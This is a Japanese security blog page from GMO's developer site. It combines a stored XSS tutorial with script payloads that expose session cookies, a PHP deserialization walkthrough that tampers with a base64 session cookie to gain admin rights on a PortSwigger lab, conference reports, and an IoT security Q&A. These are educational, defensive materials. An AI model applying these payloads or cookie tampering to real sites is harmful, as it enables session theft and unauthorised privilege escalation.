セキュリティ の記事一覧

こんにちは。GMOインターネットグループ株式会社 セキュリティエンジニアの赤瀬です。私は2021年に新卒入社し、現在はセキュリティチームでWebアプリケーションの脆弱性診断を行っています。まだ脆弱性診断を始めて2年目のひよっこエンジニアです。脆弱性の勉強＋知識の定着を兼ねて今回記事を執筆することになりましたので書いていきます。 はじめに 開発経験がある人でもない人でもエンジニアをやっている人が一度は聞いたことがあるであろうクロスサイトスクリプティング（以下、XSS）には大きくわけて反射型、蓄積型、DOM-Based XSSの3種類があります。簡単に上記3種類の説明を（ほんとにさらっとだけ） 反射型XSSユーザからのリクエストに含まれるスクリプトをそのままレスポンスに出力してしまい発動するXSS蓄積型XSSユーザが入力したスクリプトがWebアプリケーションに保存され、別のユーザがその保存箇所を読み込んだ際に保存されたスクリプトが発動するXSSDOM-Based XSSJavaScriptを使ってブラウザに表示しているHTMLを操作する場合に、攻撃者の用意した意図しないスクリプトが発動するXSS その中でも今回は、蓄積型XSSについて実際にWeb画面で挙動を紹介できればと思います！ 1.注意事項 検査により、意図せずにシステムの停止や不具合を引き起こしてしまう可能性があるため、紹介する手順を試してみたい場合は本番に影響を及ぼさない検証環境か、それ専用に作られたテストサイトでの作業をお勧めします。自組織が管理しないWebアプリケーションへの検査は、場合によっては不正アクセスとして違法となる可能性があります。 2.蓄積型XSS XSSとは、Webサイトに攻撃者がスクリプトを登録しておくことで、一般のユーザにそのコードを実行させること。攻撃例をあげると、Cookieの情報を抜き取ったりするなどがあります。今回紹介する蓄積型XSSというものは、攻撃者がWebサイトに直接スクリプトを登録し、そのWebサイトの一般利用者が該当のページを読み込むたびにそのスクリプトが実行されてしまうものです。 百聞は一見にしかずということで、実際にどういうのか見てみましょう。※今回は自分のローカル環境にECサイトっぽいものを作成して利用しています。※CSSなど凝ったものを作っていないのでサイトの見た目はご容赦ください。 ということで早速画像のような商品登録画面があるとします。今回は、商品登録を管理者ページでしかできないようなサイト仕様にしました。 普通の利用者が見る商品一覧ページはこんな感じです。最低限の実装って感じですね（自分で作ったんですけど）。 ということで、先程の管理者ページに何らかの方法で攻撃者がアクセスし商品登録できると仮定してスクリプトを仕込んでいきたいと思います。わかりやすいように下記のデータを商品として登録していきます。 商品名：スクリプト商品説明：’任意’ <script>alert(1);</script>価格：500円 無事登録することができました。本来、ここで<>のような記号が入力値にあった場合にそもそも登録できないようにしたり、特殊な意味を持つ記号をサニタイジングして登録する必要があります。 スクリプトを登録することができたので、一般利用者がサイトを利用する際にどういう挙動になるか見てみましょう。利用者は普通のECサイトだと思い商品一覧ページにアクセスします。すると先程登録したスクリプトが読み込まれ処理が実行されるので画像のようにJavascriptのホップアップがあがりました。 3.Cookie拾ってみる 上記を応用してJavascript内にCookieを表示させセッションIDなど取得してみようと思います。といってもやり方は先程同じで登録するデータの値を下記に変更するだけでCookieを取得することができます。 商品名：クッキー商品説明：’任意’ <script>alert(document.cookie);</script>価格：500円 登録できたので商品一覧ページにアクセスしてみます。 すると画像のようにPHPSESSIDをまるっと取得することができました。 少し見辛いですが、商品一覧ページのレスポンスを見てみるとスクリプトがそのまま登録されています。これにより利用者がサイトを読み込むたびにスクリプトが実行されてしまい、Cookieの情報を窃取されてしまいます。Cookieを窃取されてしまうとアプリケーションをのっとられたり、クレジットカード番号などの個人情報を不正に閲覧される可能性があります。 4.対策 3.の中でも少し触れましたが対策方法はいくつかあります。 今回はこんな対応方法があるよ！というのを一部紹介するので、その他の対策方法や、実装方法について詳細気になる方は是非調べてみてください。 対策方法 そもそも＜＞などの特殊な意味を持つ記号を登録しようとした際にエラーとして登録できないようにする。例）電話番号の入力欄は数字のみ許可。ふりがなは半角カタカナのみ許可。など入力データをそのまま登録せず、登録する際にサニタイジング処理を行う。サニタイジングとは「無害化」という意味で＜＞、＆などの記号を「&lt」「&gt」などに置換することでスクリプトとして処理が実行されないようにすることです。 5.おわりに いかがでしたでしょうか。文章だけだとわかりづらい脆弱性の挙動も、Webサイトの画面を見ながらだと意外とわかりやすい気がしてきませんか？この記事を読んでくださった方が自分の作成したサイトや今後開発を行う際に、入力値のサニタイズなど気にかけるようになってくれれば幸いです。

本イベントは、世界トップクラスのサイバーセキュリティ専門家による国際会議として、10月27～28日の2日間、東京・渋谷パルコDGビル 18階 カンファレンスホール “Dragon Gate”にて開催されました。欧米の著名研究者が参加して研究成果を共有するとともに、日本の若手研究者の研究も発信する場としても知られています。GMOインターネットグループからは、GMOサイバーセキュリティ byイエラエ社がトップスポンサーとして協賛し、セッションやワークショップへの出展などで参加しました。CODE BLUE 2022 協賛レポート［前編］記事に引き続いて、今回は［後編］として、ワークショップ・ブースの様子をお届けします。 CODE BLUE 2022 協賛レポート［前編］ https://developers.gmo.jp/26813/ ワークショップ ワークショップ会場では「Webハッキング体験 forビギナーズ」と題したコンテストを実施していました。これは、Webサイトに仕込まれた脆弱性を使ってシステムへの侵入にチャレンジするという企画。貸し出された、または自前のPCを使って参加するというもので、全問正解者先着10名には、イエラエ社のエンジニアが執筆した書籍がプレゼントされていました。 Webハッキング体験 forビギナーズを実施していたワークショップのイエラエ社ブース ブースの担当者が「大盛況」と言うとおり、いつブースを覗いても参加者がいるという状況でした。実は、すでにGMOインターネットグループ内で行ったHacking Nightで使われた問題と同じものが使われていたそうですが、取材時で満点の人が5人ほど。「腕に覚えのある方だとすぐに（満点を）取っていく」という説明でしたが、人によっては2時間ぐらいかけて頑張って解いている、という感じだったそうです。 いつ見ても貸出PCは埋まっていました ビギナーズと題していますが、オフィスのパソコンを管理している情報システム部門と、Webの開発はしているけれどもセキュリティには手を出したことがないという人をターゲットにしていたそうです。ハッキングでどんなことが行われているかピンと来ないような人が、実際に攻撃してみて、どう守るかを理解してもらうことが目的だと言います。 トップ10の結果。横軸が回答時間、縦軸が点数。一定まではすぐに解ける人も、後半のセクションで時間がかかった例が多いようです。トップの人は短時間でクリアしており、腕に覚えがある人だったと見受けられます 内容的には、全部で3セクション12問が用意されており、1セクション目にある9問は簡単ですが、体系的に学びを得られる内容で、続く2、3セクションで学んだことをそのまま使ってみる、という構成になっています。 ただし、2セクション目以降は、そのまま学んだことを使うだけでは解けずに、一工夫が必要な仕組みになっています。実際、1～9問目まではすぐに解けていた挑戦者も、それ以降の回答に時間がかかった例もあって、教材としても優れた作りになっていることが伺えました。 グループ内では過去に使われたこのハッキング体験ですが、今回のCODE BLUE会場でも大好評！ブース担当者は、具体的な話があるわけではないと前置きしつつ、外部にも何らかの提供があってもいいのかもしれないと話していました。 景品として用意されていたイエラエ社のエンジニアが執筆した書籍 企業ブース 企業ブースでは、イエラエ社の製品を紹介していました。製品はアタックサーフェース可視化サービス「metisys」と、デジタルフォレンジックの「レッドチーム演習」です。 企業ブースで紹介されていたmetisys metisysは、攻撃の入口となるドメインやIPアドレス、企業の漏えい情報を具体的、包括的に可視化してくれるサービスです。IPアドレスを登録すると定期的にスキャンして、問題点が上がると赤く表示されます。ドメインも同様にチェックできます。 社内の資産を列挙し、IPアドレスやドメイン情報をスキャンして、脆弱性があれば指摘してくれます スキャンした結果、脆弱性情報があれば赤色で警告を表示 漏えい情報では、メールアドレスとその流出元が表示されます。こうした情報は、特に大きな会社だと、工場や支社、支店なども含めると管理しきれなくなり、サプライチェーン全体で管理したいというニーズに対応するための製品だと言います。 実は、現時点ではインターネットクローリングをかけているだけですが、来年に向けてアクティブなスキャンをするエンジンも開発しているそうで、それが実装されれば、深いところまでチェックできる製品になると説明していました。 紹介されていたもう1つの製品である「レッドチーム演習」。目標となるゴールに対して実際の攻撃者と同じ条件で攻撃を実施して、組織全体のサイバー攻撃に対する体制の評価などを実施します。 レッドチーム演習、デジタルフォレンジックに関する紹介も ブース担当者の説明では、従来はアンケートや脆弱性診断などを実施していたのですが、調べることが広範になってしまうそうです。レッドチーム演習の有用性が高いのは、一番攻撃されやすいところが判明することです。 「サイバーセキュリティキルチェーンと言われるが、攻撃はたいてい1つの入口から連鎖している」とのこと。その入口さえふさげば攻撃は連鎖しないわけで、それを可視化するのが今回のサービスで、クオリティの高いエンジニアがホワイトハッカーとして攻撃を実施します。 このレッドチーム演習に対して、ブルーチームによるフォレンジックや支援サービスも提供。ハッカーに侵入されたときにどこに侵入されて、どういう感染経路で、どういう攻撃手法だったのか、といったことを調査。PC、サーバー、カーナビ、IoT、クラウド環境といった幅広い調査ができることが特徴だと言います。 「演習」というのがポイントで、従来の手法だとリアリティがないと担当者。経済産業省がサイバーセキュリティ経営ガイドラインでもインシデント発生に備えて演習をするよう求めるなど、演習に対するニーズが高まっている点も追い風のようです。 「レッドチーム演習」サービスについて、詳しくはこちらから さいごに CODE BLUEは、歴史あるセキュリティイベントとして多くの来場者が集まっており、「Web3セキュリティ解体新書」講演にもたくさんの聴講者がいて、やはりWeb3の注目度の高さを感じさせました。 そうした中でもワークショップにおけるハッキングコンテストの人気も、もともと来場者のセキュリティ意識は高いのでしょうが、様々なキャリアの人がトライしていた様子だったのも注目ポイントです。 セキュリティ対策においては技術力の強化だけでなく、日々の情報収集能力も重要で、レッドチーム演習の担当者も、イエラエ社の強みとして最新情報の情報収集力を挙げていました。CODE BLUEのようなイベントは、最新情報を得られる格好の場であり、イエラエ社も最新の情報を提供し、さらに攻撃と防御に対する認知度を高めるという貢献を担っていたのではないでしょうか。

本イベントは、世界トップクラスのサイバーセキュリティ専門家による国際会議として、10月27～28日の2日間、東京・渋谷パルコDGビル 18階 カンファレンスホール “Dragon Gate”にて開催されました。欧米の著名研究者が参加して研究成果を共有するとともに、日本の若手研究者の研究も発信する場としても知られています。GMOインターネットグループからは、GMOサイバーセキュリティ byイエラエ社がトップスポンサーとして協賛し、セッションやワークショップへの出展などで参加しました。 イベント概要 日　時：2022年10月27日（木）～ 28日（金）会　場：渋谷パルコDGビル 18階 カンファレンスホール “Dragon Gate” + オンライン配信主　催：CODE BLUE実行委員会公式HP：https://codeblue.jp/2022/ 10回目の開催となったCODE BLUE CODE BLUEとは CODE BLUEはセキュリティに関する国際会議で、2013年の第1回開催以来、今回で10回目の開催となりました。初回には米国BlackHat創設者で、DEFCONも主催するジェフ・モス氏が登壇。2020年には台湾のデジタル担当大臣オードリー・タン氏を招聘するなど、幅広い著名講師陣を招いての講演も魅力。今年の基調講演は長年BlackHatなどで活動しているセキュリティ専門家のニール・R・ワイラー氏でした。日本語と英語合わせて、2日間で40近いセッションもあり、イベントの密度は高い。 イエラエ社は、企業ブースの出展に加え、ワークショップ会場ではWebハッキング体験 for ビギナーズを開催。トークセッションでは「Web3セキュリティ解体新書」と題したプレゼンも実施しました。 盛況なワークショップ会場 登壇セッション「Web3セキュリティ解体新書」 GMOサイバーセキュリティ byイエラエ社は、1日目のトークセッションの1コマとして、同社高度解析部高度解析課の緑川志穂、名古屋謙彦、浅野泰輝の3人が「Web3セキュリティ解体新書」と題した講演を行いました。 トークセッションにおける「Web3セキュリティ解体新書」 「Web3はソフトウェアやソリューションとしてはかなり充実してきた頃合いですが、Web3に対するセキュリティの観点ではまだまだ手探り状態にあります」。緑川はそう話し、その要因として、そもそも「Web3ソリューションそのものの構造」がモデル化できないと指摘。Web3自体の定義・分解手法があやふやというのも大きな理由で、Web3のセキュリティ対策も体系化できないと言います。そうした出発点からスタートした緑川らの研究では、次の3つの研究課題に据えました。 Web3の理想。Web3とはもともと何をしたかったのか？Web3の現実。実際のWeb3ソリューションがどのようなものか。私たちの考えるWeb3セキュリティ。 1のWeb3の理想では、まずその概念の提唱時までさかのぼります。最初に言及されたのは、元NSA（米国家安全保障局）局員だったエドワード・スノーデンによるリーク事件。これは「米国が、世間が想像していた以上に監視社会であることを知らしめた」（緑川）のですが、それに対する反応として「監視されたくない」「プライバシーを守りたい」「自分の情報は自分で設定したい」といった個人主義的な考え方に落ち着いてきたと緑川は言います。そして「これを実現する方法はないだろうか？というのが最初の（Web3の）モチベーションと」と緑川。これらを踏まえたWeb3の言葉の定義として、最初に「Web 3.0」という言葉を提唱したGavin Woodを取り上げます。Woodは「Web 3.0または"ポストスノーデン"Webと呼ばれるもの」と概説。それは、プライバシーが国や組織によって脅かされないネットワーク、という定義になっています。ちなみに、こうした考え方は1988年にすでに存在し、Timothy C. Mayによる「The Crypt Anarchist Manifesto」においては「暗号無政府主義」として「暗号技術を用いて、誰からの監視もなく、なおかつ何らか特定の信頼を置く必要もない社会」が提唱され、続く1993年にEric Hughesが「A Cypherpunk's Manifesto」で「サイファーパンク」という考え方を提唱しました。サイファーパンクの系譜を受け継ぐコミュニティにおいて発生したというのがBitcoinで、緑川は「ブロックチェーン技術自体がWeb3と無関係というわけではない状態」と説明しました。前述のWoodによる「DApp（Decentralized Application）」という概念についても説明され、ポストスノーデンWeb上でソフトウェアがどのように動くべきか、どう振る舞うべきかを定めたものとのこと。重要なのが「zero-trust interaction system」で、「すべての名前は仮名によって行われなければならない」「それらは全てセキュアに実行されなければならない」「ほとんどのサービスはtrustlessでなければならない」というのがDAppの条件とされています。仮にこのDAppが存在した場合、その実行基盤にはどういう条件が必要なのか。Woodはこれを次の4カ条にまとめているそうです。 static content publicationdynamic messagetrustless transactionsintegrated user-interface 「これらが揃っている基盤こそがWeb3（Web 3.0）と呼べる」というのがWoodの考えで、ここまで説明したのが「Web3の理想」だと緑川は言います。では現在、現実にWeb3として考えられているものに何があるか。デジタル庁が開催したWeb3.0研究会第1回資料を引いて、NFT、DeFi、暗号資産取引所、NFTマーケットプレイスといった例を挙げます。「研究の元々のモチベーションは、Web3アプリケーションを一般化して、もっと普遍的にWeb3セキュリティ自体を議論したいというもの」で、上記のようなアプリケーションなどを解体して、普遍的な成分だけを取り出すというのもひとつのやり方ではあるとしつつ、定まったやり方があるわけではない、と緑川は言います。すでに様々な研究論文や分解方法が提案されており、緑川らが採用したのは、2022年8月に発表されたQin Wangらによる「Exploring Web3 From the View of Blockchain」という論文。ブロックチェーンの立場からWeb3全体を概説したサーベイ論文だとしています。論文では、Open、Trustless、Permissionless、Anonymous、High availabilityという5つの要件が挙げられていますが、Web3アプリケーションの分解モデルも提示されており、緑川らはこのモデルを採用しているとのこと。Web3アプリケーションは、Date Access、Data Computation、Data Storageという3レイヤーによるアーキテクチャ・モデルで説明可能としており、12のパターンで分解できるというのがこの論文の説明で「少々荒っぽいパターン分けでしかない」としつつ、セキュリティ側として重視したいのはデータフローとそのプライバシーで、その観点でこの分解方法は利便性が高いとしています。 Web3アプリは3レイヤーによるアーキテクチャ・モデルで説明可能、とする立場の論文 緑川は、こうしたモデリングが可能なブロックチェーン関連のアプリケーションは「基本的に（前述の）5カ条を目指していると言える」と指摘。ただ、理想的なWeb3をブロックチェーン以外で実現しているものは「他に存在しない」と話し、「結果として"現実的なWeb3"を特徴付けているのがこの5カ条」だとしています。 加えて緑川は、「Web3とはブロックチェーンであるという議論は、短期的には真であるが、長期的には必ずしも真ではない」と話し、長期的には交換可能性も検討しなければならないと指摘。 「もし今後、Web3に本気で取り組むのであれば、ブロックチェーンに依存しないデータモデリングを考える必要がある」とまとめました。 Web3セキュリティとは何か 続いて登壇した名古屋は、Web3でも従来のソフトウェアセキュリティに近い部分が存在しているとしつつ、それだけではないという部分に言及します。それが、Web3の理想、現実の双方から検討した結果、「信頼という観念が不要な契約」（Trustless）という点が共通しているという点です。 イエラエ社高度解析部高度解析課・名古屋謙彦 現実のWeb3では、ブロックチェーンとその外部との接続が必ず発生し、そのインタフェースを「ウォレット」と表現しています。Web3アプリの認証・認可では秘密鍵を使っており、ウォレットとの認証操作が、そのまま認証・認可のトリガーとなると名古屋は説明します。「しかし今、私たちがWeb3の内部と外部を接続するインタフェースとしてのセキュリティアセスメントは足りているのでしょうか？」と名古屋は問いかけます。そこで「分権性」「Web3における認証・認可」「スマートコントラクト」という3点に重点を置いた検討を行ったとします。 分権性は、英語のdecentralization（非中央集権）ということで、権利が中央に集中しているのではなく、権利、権能が複数の場所に分かれているという意味で分権性と表現しているそうです。これは、ブロックチェーンネットワークの分権性と、DAppの分権性という2つの観点があり、前者はコンセンサスアルゴリズムの分権性に依拠していると言います。例えば対象となるDAppがHybrid Storageにあたる場合、オフチェーンのストレージが存在するため、中央集権の部分もあり、「セキュリティの観点から見た場合、分権性と中央集権が混在し、権能が偏っているのは結構重要な意味を持っている」と名古屋。ブロックチェーンにおいては、権能の大きさと攻撃を受けた場合の影響範囲が近似となります。現時点では「誰が、どの権能を、どのぐらい持っているのか」という点をDAppのWeb3活用において検討することを推奨する、と名古屋は話します。 認証・認可においては、ブロックチェーンにアクセスするためのインタフェースとなるウォレットが重要になると言います。問題はオフチェーンの場合で、通常のWebサイトへのログイン、APIの利用、モバイルアプリの利用といった場合に、どのような手段で正しく認証するのが問題になると名古屋。手法としてはデジタル証明書があり、Ethereumでも使われるEIP-712と呼ばれる、署名に決まった型とデータを使って署名するという手法があります。ただ、現状では「ユーザーに確認の責任を負わせている状態にある」と指摘します。現状の通常のWeb（Web2）にはFIDO認証があり、これもフィッシング耐性のある認証手法とされていますが、これはブラウザやOSがサイトのオリジンを保証して認証することでフィッシングなどを防止しますが、ブラウザやOSを信頼する形になるため、Web3で参考にするには分権性の問題が出てくるので検討が必要になります。「オフチェーンでの確認には限界があるということを踏まえて設計する必要がある」と名古屋は強調します。 スマートコントラクト スマートコントラクトに関しては浅野が担当。EthereumとSolidityを想定して説明がされました。こうした環境では、Web3特有としてチェーン上にすべてのデータを公開する性質やアドレスに対する権限の管理といった、「スマートコントラクトのオリジナルの視点が必要になってくる」と浅野。 イエラエ社高度解析部高度解析課の浅野泰輝 そのため、Web3以外のWebで使われるようなCWEといった指標はそのまま使えない。「言うなれば、スマートコントラクト専用のCWEのようなものが必要になる」というのが浅野の説明です。 Ethereumでは、それをEIP-1470でSWCとして定義されています。専用解析ツールMythrilで、ある程度のSWCに抵触しているかどうかを判断できるそうですが、SWC自体は更新・メンテナンスが止まってしまっています。それでもSolidityのコードを書く上で陥りやすいミスなどはある程度カバーできるそうです。「スマートコントラクトに対するセキュリティの虎の巻みたいなものは存在していない」と浅野。スマートコントラクトにおけるセキュリティが発展途上ということではあるのですが、その中でも重要なトピックとして浅野氏が挙げるのは「Reentrancy」と「selfdestruct」の2点です。Reentrancyでは、JavaのConcurrentModificationExceptionという例外を例に、シングルスレッドでも「並行制御を考慮しなければならないと言っても過言ではない」（浅野）として、スマートコントラクト開発でも並行制御の視点は広く浸透していくべき、というのが浅野の考えです。スマートコントラクトではゼロトラストという性質があり、権限の管理が非常に重要になってきます。過去には、selfdestruct命令の権限が適切に設定されていなかった事例があり、自己削除できるselfdestructを実行するにあたっては権限の設定に不備がないかを慎重にチェックする必要があります。イエラエ社がスマートコントラクトの診断を実施したところ、Reentrancyに関する問題点は発見されたものの、selfdestructにもとづく問題点はまだ存在していなかったそうです。浅野は「セキュリティとしてまだ土台が固まっていないスマートコントラクト、Web3の開発においては、常にどこかで脆弱性が見つかり、安全だと思っていたものはすぐにレガシーになってしまう危険性をはらんでいる」と強調。そうした状況を放置するのではなく、selfdestructなどを使ってうまくいなして共存できるようになる、と主張します。 最後に再び登壇した緑川は、「2つの標語を提案したい」と言います。 Web3は誰でもが参加できて、誰もが権能を持つコントラクトの人生は完全に管理しろ 加えて緑川は、自動車やIoTにおけるセキュリティが同じような考え方になっていると説明。すでにこの方面ではある程度の知見がたまっているので、そのまま流用はできないまでもアーキテクチャリングやモデリングに関しては有用という判断をしているそうです。緑川は、そうした他分野との相互作用ができることを期待し、将来的な取り組みとして今後も研究を重ねていきたいと話しました。 →後編へ続きます

こんにちは。GMOインターネットグループ株式会社 セキュリティエンジニアの谷山です。私は2020年に新卒入社し、現在はセキュリティのチームにてWebアプリケーション脆弱性診断に従事しています。脆弱性診断を行うために様々な脆弱性の知識が必要なので日々勉強しているところです。さて、脆弱性には開発者の対策漏れで発生するものだけでなくそもそもプログラム言語に用意されている処理で発生してしまうものがあります。今回は、PHPなどの関数で用意されているシリアライズに潜む脆弱性についてPort Swiggerが公開しているWebSecurity Academyのページを使って一緒に挙動を見ていきましょう。 注意事項 検査により、意図せずにシステムの停止や不具合を引き起こしてしまう可能性があるため、紹介する手順を試してみたい場合は本番に影響を及ぼさない検証環境か、それ専用に作られたテストサイトでの作業をお勧めします。 自組織が管理しないWebアプリケーションへの検査は、場合によっては不正アクセスとして違法となる可能性があります。 シリアライズされたデータ まず、シリアライズとはアプリケーション上の構造を持ったデータを保存・伝達する目的でバイト列に変換する事をいい、反対にシリアライズされたデータをもとに戻ることをデシリアライズと言います。 ん・・・・・？ なんだかよく分かりませんよね？私も言葉を聞いても良く分かりませんでした。今回のテーマは「手を動かして理解する」ですので実際にテストページを見ていきましょう。 こちらがテストページのログインリクエストとレスポンスになります。 特にレスポンスに注目するとSet-cookieされているsessionの値は下記になっていますね。 Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30%3d 一度ログアウトして再度ログインした際のSet-cookieされているsessionの値は上記に記載したものと全く同じでした。 つまり、乱数でsessionの値を生成しているのではなくユーザーごとにある規則性で生成されていそうですね。 先ほどのsessionの値を詳しくみていきましょう。 Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30%3d 値の最後に%3dとありますのでURLエンコードされていそうです。URLデコードしてみましょう。 Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30= %3dはURLエンコードで=になりましたね。この=で、何か引っかかる方もいらっしゃいますかね？この=というのは、とあるエンコード方式の特徴になっています。そのエンコード方式というのは「BASE64」と呼ばれるものです。BASE64でエンコードした場合は最後に4文字区切りで足りない文字は=で補います。 本記事ではエンコード・デコードの解説はしませんが、気になる方は別途調べてみてください。 少々エンコードの話をしてしまいましたので話を戻しましょう。テストページのログインレスポンスのSessionの値をURLデコードしたら最後に=がありました。これはBASE64でエンコードされている気がするのでさらにBASE64でデコードしてみましょう。すると下記文字列になりました。 O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;} どうでしょうか？何となく読める気がしませんか？実はこれがシリアライズされたバイト列になります。シリアライズ形式はデータの先頭に型やサイズがありその後データの文字列が続いています。こちらを見ると下記のデータがありそうです。 username：wiener、admin：0 以上が実際のサイトで使用されているシリアライズされたバイト列の例になります。 権限昇格を試みる 先ほど、シリアライズされたバイト列を確認しましたね。もう一度確認していきましょう。 O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin"; b:0;} 特に最後のadminのところが気になりますよね。b:0とあるのでBoolean型の0だと考えられますね。という事はb:1に変更するとどうなるのかやっていきます。 テストページでログインすると下記のような画面になっています。 この時のリクエストとレスポンスは下記のとおりです。 リクエストにはやはり先ほどと同じ値のcookieを持っていますね。こちらに改ざんしたcookieを差し込んでいきます。 まずは先ほどBASE64デコードしたsessionの値のb:0部分をb:1に変更します。 O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin"; b:1;} 変更したらこの値をBASE64でエンコードします。 Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30= この値をさらにURLエンコードした文字列をMy-accountページを表示する際のcookieの値に指定すると 画面は下記になりました。 こちらをよく見てみるとAdmin panelが表示されていますね。AdminのBoolean型の値を1にしたことでAdmin権限として表示されたことになり実際に権限昇格が実行出来ました。 おわりに いかがでしたでしょうか。このようにプログラム言語に関数として機能がありますが、使い方を考えないと思いもよらない攻撃をされてしまう可能性があります。基本的にはシリアライズ機能は使わずにJSON形式などでデータを受け渡しする方が良いとされています。昨今のサイトではほとんど使用していない気がしますが、昔に作成したサイトをそのまま運用しているというような場合はシリアライズ機能がないかチェックしてみると良いかと思います。

9/21（水）にGMO Developers Night#36 「 経済産業省×GMOサイバーセキュリティbyイエラエ「開発段階におけるIoT機器の脆弱性検証促進事業」について 」をオンラインにて開催。IoTにおけるセキュリティ対策の必要性や有無、また、経済産業省が行う取り組みについて、お話いたしました。 ▻イベント告知：https://developers.gmo.jp/20150/今回Vol.03では、 座談会・Q&Aコンテンツ の書き起こしをお届けします。 Q.WebとIoTの脆弱性で大きな違いがあれば教えてください 今回のセミナーに申し込む時に使用している申し込みサイトがWebですが、IoTは装置。脆弱性の大きな違いは、Webの方であれば大きなパソコンを使って、サーバーなどでいろいろやっていますが、それらに実際に診断を行った時にサーバーの上で何か動かす、例えばマイニングであったりとか変なものを動かされたりとか、そういったものがあります。IoTですと、Webと似たようなところで個人情報などが装置から抜かれてしまう可能性があるというのもありますが、もう1つ、IoTはサイズが小さい。小さい機器で動かさなくてはいけないというところで、脆弱性の対策とかセキュリティ対策をたくさんやると、イメージとしてはパソコンにウイルス対策製品を入れると重くなりますが、同じような感じでただでさえパワーが弱いIoT機器にそんな製品を入れられない。でも対策しなければいけない、ということで、結構大きめの穴が開いたままで動いているIoT機器があるとか、あとは皆さんがいろいろカスタマイズしているので、既知の脆弱性ではないけれども、ちょっとコードを読むことですでにいろいろと攻撃されている脆弱性の変化球があるということも分かります。まとめると、そこまで大きな違いはないが、それぞれの事情から細かいところを見ると脆弱性の違いはあります。IoTは特有の脆弱性があり、Webは特有の脆弱性があり、Webの方はよく調べられているけど、IoTの方はあまり調べられていないからまずい、というところはあります。三村 Q.IoT利用者目線で、簡単にできるセキュリティ対策があれば教えてくだ 一番最初に、パスワードをちゃんと変更してくださいというものがあります。また、最近だとRaspberry Piのような小さい装置がありますが、OSがデフォルトのままで入れた状態だと、何の対策もされていないOSに、パスワードがデフォルトの状態でやられ放題になってしまう。そういう機器であれば、ファイアウォールを設定しましょう、パスワードを変更しましょう、といったことになります。また、アップデートがあればしていきましょうというところが重要なところになってくると思います。ほかの機器でもアップデートが出ていれば実施するし、ベンダーさんからこの機器はもうサポートしませんと言われているのであれば機器を交換する。パソコンに近い形の対策が利用者目線だと一番重要でかつ簡単にできる対策だと思います。三村 Q.IoTの持つセンサーへの攻撃などは評価していないのでしょうか？ もちろん、センサーへの診断は行っています。センサーへの攻撃はどういうふうに評価を解釈するかになりますが、脆弱性に何か攻撃される穴があったり攻撃されたりということがあるかといえば、当然YESです。分かりやすい例ですと、池があったとしましょう。そこに水温を測るセンサーがあったとして、これがIoT機器です。水温が高ければ水を入れて温度を下げる、低ければヒーターを動かすといった"IoTの池"があったとすると、攻撃は水温センサーの値を変な値で返してあげる、サーバーとクライアント（センサー）との通信をいじって、その池は本来ならば二十何℃が正常なのに5℃です、という情報をサーバーにあげる。するとヒーターが動いて池の水温が上がって、池の鯉が死んでしまうかもしれない。こういった攻撃は当然ありますので、その対策や、脆弱性診断は当然重要ですし、我々としてもそういうところの診断依頼は当然来ておりますしやっております。三村 Q.各種脆弱性診断を定期的に行うタイミングなど、指標があれば教えてください。 まず、セキュリティ・バイ・デザインのところから考えると、まずソースコードや、その前の設計段階、基本設計のところだと、例えば通信を暗号化すると、その暗号の方式はちゃんと安全なものですか？と。一例を挙げますとDESとかSSLの暗号でも例えば128ビットとかは最近は使っている例はないですけど、そういうものを仕様書で使いましょうと書いてあれば、そのタイミングで相談いただければ、これは確実に危ないです、これを使っていたら危険ですというものはできますし、基礎のタイミングのところから安全にしていくことはもちろんできると思います。もちろん、設計がしっかりしていて、開発もしっかりしていたとしても、その後のところで診断をした時にここのタイミングで何が見つかるかという話になりますと、例えば設計して実際にシステムを作りました、そこのところで例えば仕様書に書いていないような設定がありましたと、SSHやVPNをしゃべるようなソフトを入れますと、これのデフォルト設定については仕様が特にありませんでした、なのでそのままにしています、という時にここのところで発見というのはあるでしょうし、また実際に組み上がった時にチップやボードで何かこちらから指示はしていない、向こうの方で同じようにここのところは特にケアしなくて渡してしまえばよいといった形で、誰もケアしなかった脆弱性の穴があるということになれば、最後のところで当然発見という形になります。なので、診断は両方とも当然やった方がいいですし、可能であれば当然早いタイミングで行うことができれば、後段で見つかるものは小さいものになりますし、手戻りが少なくなるので当然スムーズにすべてが進むようになるので、早いタイミングからの相談をもし可能であればお願いしております。三村 伊藤各社のつまずくところは、実は各社毎では個別のノウハウですが、我々診断会社はみんなから吸収しているので、共有値というか、ナレッジのデータベースみたいなものだと思うので、開発に着手する時にも、我々みたいな診断会社を特に失敗のナレッジデータベースの感じで使っていただくと、同じような失敗をせずに物事がうまく進むと思っていますので、こういったところをうまく使っていただければと思います。 Q.サービスの穴をついてくることと防ぐことはいたちごっこのような気がしているのですが、継続的に対策できるサービスはお考えですか？ サービスの穴、一般的には守るのは全体を守らなければいけないけれど、攻撃はそのうち1個でも突破できればよいということで、いたちごっこという話はよく出ています。継続的に対策できるというところで1つあるのは、ソフトウェアのアップデートをしっかり管理したうえで行える状態にするということ。また、製造ベンダー側であれば新機能が追加される時にはちゃんとその機能がどういうものかをしっかり管理をしていく。作って終了ではなくて、どんどんアップデートとか、外から脆弱性の話があった時にちゃんと対応できる体制を作っていくというものが、まず基礎として大事になってくると思っております。もちろんその回し方に関するところは、やはり各社のやり方に絡んでくると思いますので、そこは伊藤さんにサービスという形で少し絡めて説明いただければと思います。三村 